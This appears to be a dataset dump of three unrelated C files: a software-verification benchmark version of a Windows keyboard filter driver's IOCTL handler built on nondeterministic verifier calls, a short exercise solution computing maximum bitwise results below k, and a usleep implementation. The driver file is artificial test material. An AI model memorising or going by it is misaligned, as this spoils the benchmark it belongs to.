int __cil_tmp31 ;
int __cil_tmp32 = __VERIFIER_nondet_int() ;
int __cil_tmp33 ;
int __cil_tmp34 ;
int __cil_tmp35 = __VERIFIER_nondet_int() ;
int __cil_tmp36 ;
int __cil_tmp37 ;
int __cil_tmp38 = __VERIFIER_nondet_int() ;
int __cil_tmp39 ;
int __cil_tmp40 ;
int __cil_tmp41 = __VERIFIER_nondet_int() ;
int __cil_tmp42 ;
int __cil_tmp43 ;
int __cil_tmp44 = __VERIFIER_nondet_int() ;
int __cil_tmp45 ;
{
status = 0;
Irp__IoStatus__Information = 0;
{
//__cil_tmp17 = 128 << 2;
//__cil_tmp18 = 11 << 16;
//__cil_tmp19 = __cil_tmp18 | __cil_tmp17;
//__cil_tmp20 = __cil_tmp19 | 3;
if (irpStack__Parameters__DeviceIoControl__IoControlCode == __cil_tmp20) {
goto switch_7_exp_0;
} else {
{
//__cil_tmp21 = 256 << 2;
//__cil_tmp22 = 11 << 16;
//__cil_tmp23 = __cil_tmp22 | __cil_tmp21;
//__cil_tmp24 = __cil_tmp23 | 3;
if (irpStack__Parameters__DeviceIoControl__IoControlCode == __cil_tmp24) {
goto switch_7_exp_1;
} else {
{
//__cil_tmp25 = 4080 << 2;
//__cil_tmp26 = 11 << 16;
//__cil_tmp27 = __cil_tmp26 | __cil_tmp25;
//__cil_tmp28 = __cil_tmp27 | 3;
if (irpStack__Parameters__DeviceIoControl__IoControlCode == __cil_tmp28) {
goto switch_7_exp_2;
} else {
{
//__cil_tmp29 = 11 << 16;
if (irpStack__Parameters__DeviceIoControl__IoControlCode == __cil_tmp29) {
goto switch_7_exp_3;
} else {
{
//__cil_tmp30 = 32 << 2;
//__cil_tmp31 = 11 << 16;
//__cil_tmp32 = __cil_tmp31 | __cil_tmp30;
if (irpStack__Parameters__DeviceIoControl__IoControlCode == __cil_tmp32) {
goto switch_7_exp_4;
} else {
{
//__cil_tmp33 = 16 << 2;
//__cil_tmp34 = 11 << 16;
//__cil_tmp35 = __cil_tmp34 | __cil_tmp33;
if (irpStack__Parameters__DeviceIoControl__IoControlCode == __cil_tmp35) {
goto switch_7_exp_5;
} else {
{
//__cil_tmp36 = 2 << 2;
// __cil_tmp37 = 11 << 16;
//__cil_tmp38 = __cil_tmp37 | __cil_tmp36;
if (irpStack__Parameters__DeviceIoControl__IoControlCode == __cil_tmp38) {
goto switch_7_exp_6;
} else {
{
// __cil_tmp39 = 8 << 2;
// __cil_tmp40 = 11 << 16;
// __cil_tmp41 = __cil_tmp40 | __cil_tmp39;
if (irpStack__Parameters__DeviceIoControl__IoControlCode == __cil_tmp41) {
goto switch_7_exp_7;
} else {
{
// __cil_tmp42 = 1 << 2;
// __cil_tmp43 = 11 << 16;
// __cil_tmp44 = __cil_tmp43 | __cil_tmp42;
if (irpStack__Parameters__DeviceIoControl__IoControlCode == __cil_tmp44) {
goto switch_7_exp_8;
} else {
if (0) {
switch_7_exp_0: ;
if (devExt__UpperConnectData__ClassService != 0) {
status = -1073741757;
goto switch_7_break;
} else {
if (irpStack__Parameters__DeviceIoControl__InputBufferLength < sizeof__CONNECT_DATA) {
status = -1073741811;
goto switch_7_break;
}
}
connectData = irpStack__Parameters__DeviceIoControl__Type3InputBuffer;
goto switch_7_break;
switch_7_exp_1:
status = -1073741822;
goto switch_7_break;
switch_7_exp_2: ;
if (irpStack__Parameters__DeviceIoControl__InputBufferLength < sizeof__INTERNAL_I8042_HOOK_KEYBOARD) {
status = -1073741811;
goto switch_7_break;
}
hookKeyboard = irpStack__Parameters__DeviceIoControl__Type3InputBuffer;
if (hookKeyboard__InitializationRoutine) {
}
if (hookKeyboard__IsrRoutine) {
}
status = 0;
goto switch_7_break;
switch_7_exp_3: ;
switch_7_exp_4: ;
switch_7_exp_5: ;
switch_7_exp_6: ;
switch_7_exp_7: ;
switch_7_exp_8: ;
goto switch_7_break;
} else {
switch_7_break: ;
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
{
if (status < 0) {
{
Irp__IoStatus__Status = status;
myStatus = status;
IofCompleteRequest(Irp, 0);
}
return (status);
}
}
{
tmp = KbFilter_DispatchPassThrough(DeviceObject, Irp);
}
return (tmp);
}
}
void errorFn(void)
{
{
ERROR: __VERIFIER_error();
return;
}
}
|
the_stack_data/162642742.c
|
/* Given n numbers, find maximum bitwise:
* 1) AND
* 2) OR
* 3) XOR
* of numbers from range [2, n] s.t. respective result is < k.
**/
#include <stdio.h>
#include <string.h>
#include <math.h>
#include <stdlib.h>
#include <inttypes.h>
#include <stdbool.h>
void calculate_the_maximum(int n, int k) {
if (n < 2 || k < 2 || k > n) return;
const bool eq = k == n;
const int max_and = eq
? k - 1
: (((k - 1) | k) <= n)
? k - 1
: k - 2;
const int max_or = eq
? k - 2
: (((k - 1) & (k - 2)) == 0)
? ((k == 3) ? 0 : k - 2)
: k - 1;
const char lbr = '\n';
printf("%d%c", max_and, lbr);
printf("%d%c", max_or, lbr);
printf("%d%c", k - 1, lbr);
}
int main() {
int n, k;
scanf("%d %d", &n, &k);
calculate_the_maximum(n, k);
return 0;
}
|
the_stack_data/73575662.c
|
// Copyright (c) 2016 Nuxi, https://nuxi.nl/
//
// SPDX-License-Identifier: BSD-2-Clause
#include <errno.h>
#include <time.h>
#include <unistd.h>
int usleep(useconds_t useconds) {
struct timespec ts = {.tv_sec = useconds / 1000000,
.tv_nsec = useconds % 1000000 * 1000};
int error = clock_nanosleep(CLOCK_REALTIME, 0, &ts, NULL);
if (error != 0) {
errno = error;
return -1;
}
return 0;
}
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.